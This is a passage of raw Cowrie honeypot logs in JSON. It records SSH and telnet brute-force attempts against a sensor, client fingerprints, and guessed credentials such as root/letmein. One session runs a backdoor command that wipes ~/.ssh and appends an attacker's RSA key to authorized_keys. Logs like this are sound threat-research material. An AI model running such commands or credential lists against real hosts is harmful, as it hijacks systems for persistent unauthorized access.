512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:00:00.295256Z","src_ip":"2.57.122.208","session":"6dbd80aa1ee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:00:00.653219Z","src_ip":"2.57.122.208","session":"6dbd80aa1ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:00:01.821242Z","src_ip":"2.57.122.208","session":"6dbd80aa1ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.94600796699524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:00:04.751794Z","src_ip":"177.62.1.209","session":"a427ca176f32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36074,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c720f098279","protocol":"ssh","message":"New connection: 2.57.122.208:36074 (159.203.135.109:22) [session: 8c720f098279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:02:10.108274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:02:10.115231Z","src_ip":"2.57.122.208","session":"8c720f098279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:02:10.212916Z","src_ip":"2.57.122.208","session":"8c720f098279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:02:10.726434Z","src_ip":"2.57.122.208","session":"8c720f098279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:02:11.921757Z","src_ip":"2.57.122.208","session":"8c720f098279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":33740,"dst_ip":"10.17.0.5","dst_port":22,"session":"d66d9050af87","protocol":"ssh","message":"New connection: 157.245.10.239:33740 (10.17.0.5:22) [session: d66d9050af87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.319428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.324300Z","src_ip":"157.245.10.239","session":"d66d9050af87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.338538Z","src_ip":"157.245.10.239","session":"d66d9050af87","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"letmein","message":"login attempt [root/letmein] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.356400Z","src_ip":"157.245.10.239","session":"d66d9050af87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.365073Z","src_ip":"157.245.10.239","session":"d66d9050af87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.228.218.47","src_port":49684,"dst_ip":"159.203.135.109","dst_port":22,"session":"2406b8f3b870","protocol":"ssh","message":"New connection: 211.228.218.47:49684 (159.203.135.109:22) [session: 2406b8f3b870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.474492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.480140Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:01.673548Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p0o9i8u7y","message":"login attempt [root/p0o9i8u7y] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:02.478711Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:02.910571Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:02.913707Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:02.917383Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:03.114515Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:03.549897Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:03.553302Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:03.751489Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:03.755768Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.228.218.47","src_port":49690,"dst_ip":"159.203.135.109","dst_port":22,"session":"25373f2199da","protocol":"ssh","message":"New connection: 211.228.218.47:49690 (159.203.135.109:22) [session: 25373f2199da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:03.950950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:03.956262Z","src_ip":"211.228.218.47","session":"25373f2199da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:04.157542Z","src_ip":"211.228.218.47","session":"25373f2199da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:04.992753Z","src_ip":"211.228.218.47","session":"25373f2199da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:06.197000Z","src_ip":"211.228.218.47","session":"25373f2199da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.228.218.47","src_port":49706,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f02a9332076","protocol":"ssh","message":"New connection: 211.228.218.47:49706 (159.203.135.109:22) [session: 6f02a9332076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:06.396245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:06.401925Z","src_ip":"211.228.218.47","session":"6f02a9332076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:06.606819Z","src_ip":"211.228.218.47","session":"6f02a9332076","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:07.445992Z","src_ip":"211.228.218.47","session":"6f02a9332076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:07.647154Z","src_ip":"211.228.218.47","session":"2406b8f3b870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:07.653077Z","src_ip":"211.228.218.47","session":"6f02a9332076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49664,"dst_ip":"159.203.135.109","dst_port":22,"session":"770a421d9edc","protocol":"ssh","message":"New connection: 2.57.122.208:49664 (159.203.135.109:22) [session: 770a421d9edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:20.127071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:20.296044Z","src_ip":"2.57.122.208","session":"770a421d9edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:20.301081Z","src_ip":"2.57.122.208","session":"770a421d9edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:21.224913Z","src_ip":"2.57.122.208","session":"770a421d9edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:22.329018Z","src_ip":"2.57.122.208","session":"770a421d9edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54750,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b090bdf1c8","protocol":"ssh","message":"New connection: 14.225.2.125:54750 (10.17.0.5:22) [session: d7b090bdf1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:39.739778Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:40.016979Z","src_ip":"14.225.2.125","session":"d7b090bdf1c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":54762,"dst_ip":"10.17.0.5","dst_port":22,"session":"697cc47a24f8","protocol":"ssh","message":"New connection: 14.225.2.125:54762 (10.17.0.5:22) [session: 697cc47a24f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:40.281773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:40.286328Z","src_ip":"14.225.2.125","session":"697cc47a24f8","protocol":"ssh"}
